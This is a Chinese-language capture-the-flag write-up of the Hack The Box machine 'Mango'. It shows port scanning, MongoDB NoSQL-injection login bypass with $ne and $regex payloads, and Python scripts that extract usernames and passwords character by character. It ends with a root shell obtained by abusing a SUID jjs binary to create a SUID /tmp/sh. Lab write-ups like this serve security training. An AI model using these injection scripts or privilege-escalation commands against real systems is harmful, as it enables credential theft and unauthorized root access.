HTB-靶机-Mango

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.162

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.162 -o ./Mango-autorecon

sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.162
或者

sudo masscan -p1-65535,U:1-65535 10.10.10.162 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
' ',' | sed 's/,$//')
sudo nmap -Pn -sV -sC -p$ports 10.10.10.162

开放了3个端口,分别是22,80,443端口,然后扫描结果显示域名,直接先加本地hosts文件,访问IP和域名看看结果是咋样

追加hosts文件
sudo -- sh -c "echo '10.10.10.162 mango.htb staging-order.mango.htb' >> /etc/hosts"
直接访问IP地址,页面403,通过上面添加的hosts域名访问,刚开始使用https形式访问显示一个搜索引擎,但是不管这么输入搜索的内容,都没有结果

访问https://staging-order.mango.htb和https://mango.htb 都显示一个搜索引擎,且尝试在上面随便搜索一个东西,不能返回任何结果,没啥用

访问对应域名80端口看看 

http://staging-order.mango.htb/

看到上面一个登录窗口,试试sql注入,但结果没有任何显示,通过http的形式访问staging-order.mango.htb 得到一个登录页面,试了下注入没发现,尝试了其他目录爆破途径也没发现啥有价值的信息,回头再看这个登录页面,显示mango,试试跟mango数据库相关的注入方式,发现可以注入成功,本靶机用到的注入参数可参考:

https://docs.mongodb.com/manual/reference/operator/query/ne/

猜测目标靶机的登录注入点,用户名和密码后台判断的数据库查询方式如下:
db.users.find({ username: "admin", password: "admin" });
db.users.find({ username: "admin", password: { $ne : "admin" } });

使用burpsuite构造的注入请求

POST http://staging-order.mango.htb/ HTTP/1.1
Host: staging-order.mango.htb
Content-Length: 46
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://staging-order.mango.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://staging-order.mango.htb/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=n5ad8ioq1k1rkm2d4i5tpesdfr
Connection: close

username=admin&password[$ne]=admin&login=login

成功之后会响应302跳转到home.php文件

确认存在mango数据库注入了,开始进行测试注入

下面是构造的查询语句,大概意思只要密码不是admin,通过正则表达式猜测包含a的用户名
db.users.find({ username: { $regex : "a.*", password: { $ne : "admin" } });

下面是构造的查询语句,大概意思只要密码不是admin,通过正则表达式猜测包含a的用户名

POST http://staging-order.mango.htb/ HTTP/1.1
Host: staging-order.mango.htb
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://staging-order.mango.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://staging-order.mango.htb/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=n5ad8ioq1k1rkm2d4i5tpesdfr
Connection: close

username[$regex]=a.*&password[$regex]=h.*&login=login

写一段python代码来批量尝试用户名包含哪些字母

使用python2版本执行

#!/usr/bin/env python

from requests import post
from string import lowercase

url = 'http://staging-order.mango.htb/'

def sendPayload():
        for char in lowercase:
                regex = '{}.*'.format(char)
                data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
                response = post(url, data = data, allow_redirects=False)
                if response.status_code == 302:
                    print "Found valid letter: {}".format(char)

def getUser():
        sendPayload()

if __name__ == '__main__':
        getUser()

kali@kali:~/Downloads/htb/mango$ python mgcontainsusername.py
Found valid letter: a
Found valid letter: d
Found valid letter: g
Found valid letter: i
Found valid letter: m
Found valid letter: n
Found valid letter: o
使用python2版本执行

#!/usr/bin/env python

from requests import post
from string import lowercase

url = 'http://staging-order.mango.htb/'

def sendPayload():
        for char in lowercase:
                regex = '{}.*'.format(char)
                data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
                response = post(url, data = data, allow_redirects=False)
                if response.status_code == 302:
                    print "Found valid letter: {}".format(char)

def getUser():
        sendPayload()

if __name__ == '__main__':
        getUser()

kali@kali:~/Downloads/htb/mango$ python mgcontainsusername.py
Found valid letter: a
Found valid letter: d
Found valid letter: g
Found valid letter: i
Found valid letter: m
Found valid letter: n
Found valid letter: o

通过上面的代码猜测出来了用户名存在于下面7个字符中
a,d,g,i,m,n,o

得到上面的结果,我们可以根据上面7个字符使用代码批量测试出来准确的用户名,大概逻辑就是使用正则表达式以某个字母开通不断的测试判断下去,例如:^a.* 进行测试,如果返回302响应码,那么可以确认用户名存在a且以a开头,然后就可以依次测试^ad.* 之类的正则表达式,知道思路了,那么我们就开始一把嗦

先调试测试一下其中一个字母开头的用户名有几个

#!/usr/bin/env python

from requests import post
from string import lowercase

url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']

def sendPayload(word):
    regex = '^{}.*'.format(word)
    data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
    response = post(url, data = data, allow_redirects=False)
    if response.status_code == 302:
        return word
    else:
        return None

def getUser():
    for char in valid:
        if sendPayload(char) != None:
            print "Found username starting with {}".format(char)

if __name__ == '__main__':
    getUser()

执行结果

kali@kali:~/Downloads/htb/mango$ python confirmusername.py
Found username starting with a
Found username starting with m

上述测试结果知道了目标靶机有两个用户名,且用户名开头的字母分别是a和m ,我们继续测试挖掘

#!/usr/bin/env python

from requests import post
from string import lowercase

url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']

def sendPayload(word):
    for char in valid:
        regex = '^{}.*'.format(word + char)
        data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            return char
    return None

def getUser():
    for ch in ['a', 'm']:
        username = ch
        while True:
            char = sendPayload(username)
            if char != None:
                username += char
            else:
                print "Username found: {}".format(username)
                break

if __name__ == '__main__':
    getUser()


执行结果
kali@kali:~/Downloads/htb/mango$ python mggetusername.py
Username found: admin
Username found: mango

得到了两个用户名admin和mango,那么就开始测试挖掘密码中含有哪些可能的字符

#!/usr/bin/env python

from requests import post
from string import printable

url = 'http://staging-order.mango.htb/'

def sendPayload(user):
    valid = []
    for char in printable:
        regex = '{}.*'.format(char)
        data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            valid.append(char)
    return valid

def getUser():
    for user in ['admin', 'mango']:
        valid = sendPayload(user)
        print "Valid characters for {}: {}".format(user, valid)

if __name__ == '__main__':
    getUser()

执行结果
kali@kali:~/Downloads/htb/mango$ python confirepassword.py
Valid characters for admin: ['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '$', '.', '>', '\', '^', '|']
Valid characters for mango: ['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '$', '.', '\', ']', '^', '{', '|', '~']

好了此处就可以开始收网了,得到目标靶机的用户名对应字典中存在的密码字符,通过python代码批量去猜测用户名中的密码即可,不过这里需要注意的是,上面得到密码包含的字符中含有特殊字符,所以在python代码中需要事先转义掉

#!/usr/bin/env python

from requests import post
from string import printable


url = 'http://staging-order.mango.htb/'
admin_pass = ['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '\$','\.', '>', '\\', '\^', '\|']
mango_pass = ['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '\$','\.', '\\', ']', '\^', '{', '\|', '~']

def sendPayload(user, word):
    valid = admin_pass if user == 'admin' else mango_pass
    for char in valid:
        regex = '^{}.*'.format(word + char)
        data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            return char
    return None

def getUser():
    for user in ['admin', 'mango']:
        password = ''
        while True:
            char = sendPayload(user, password)
            if char != None:
                password += char
            else:
                print "Password for {} found: {}".format(user, password)
                break

if __name__ == '__main__':
    getUser()


执行结果
kali@kali:~/Downloads/htb/mango$ python getunpw.py
Password for admin found: t9KcS3>!0B#2
Password for mango found: h3mXK8RhU~f{]f5H

得到上面的两个账户和密码先走走捷径看看能不能直接使用ssh登录到目标靶机,经过测试发现mango账户可以直接登录上去,admin账户不能

,ssh连接目标靶机ssh端口
sshpass -p 'h3mXK8RhU~f{]f5H' ssh -oStrictHostKeyChecking=no mango@10.10.10.162

登录上去看了下当前目录下没有user.txt 然后又看了home目录刚好发现有另一个目录admin,再次su切换的方式登录admin用户,我擦,成功了

执行一下bash命令切换成bash环境的shell 然后找下suid权限的二进制文件

find / -perm -4000 2>/dev/null

得到如下结果
admin@mango:/home/admin$ find / -perm -4000 2>/dev/null
/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
/snap/core/7713/bin/mount
/snap/core/7713/bin/ping
/snap/core/7713/bin/ping6
/snap/core/7713/bin/su
/snap/core/7713/bin/umount
/snap/core/7713/usr/bin/chfn
/snap/core/7713/usr/bin/chsh
/snap/core/7713/usr/bin/gpasswd
/snap/core/7713/usr/bin/newgrp
/snap/core/7713/usr/bin/passwd
/snap/core/7713/usr/bin/sudo
/snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7713/usr/lib/openssh/ssh-keysign
/snap/core/7713/usr/lib/snapd/snap-confine
/snap/core/7713/usr/sbin/pppd
/snap/core/6350/bin/mount
/snap/core/6350/bin/ping
/snap/core/6350/bin/ping6
/snap/core/6350/bin/su
/snap/core/6350/bin/umount
/snap/core/6350/usr/bin/chfn
/snap/core/6350/usr/bin/chsh
/snap/core/6350/usr/bin/gpasswd
/snap/core/6350/usr/bin/newgrp
/snap/core/6350/usr/bin/passwd
/snap/core/6350/usr/bin/sudo
/snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6350/usr/lib/openssh/ssh-keysign
/snap/core/6350/usr/lib/snapd/snap-confine
/snap/core/6350/usr/sbin/pppd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine

发现jjs和run-mailcap,相关提权操作可参考

https://gtfobins.github.io/gtfobins/jjs/
https://gtfobins.github.io/gtfobins/run-mailcap/

提权具体操作

执行
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
然后执行下面两条命令
Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/sh /tmp/sh').waitFor()
Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /tmp/sh').waitFor()
提权到root
/tmp/sh -p

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14841412.html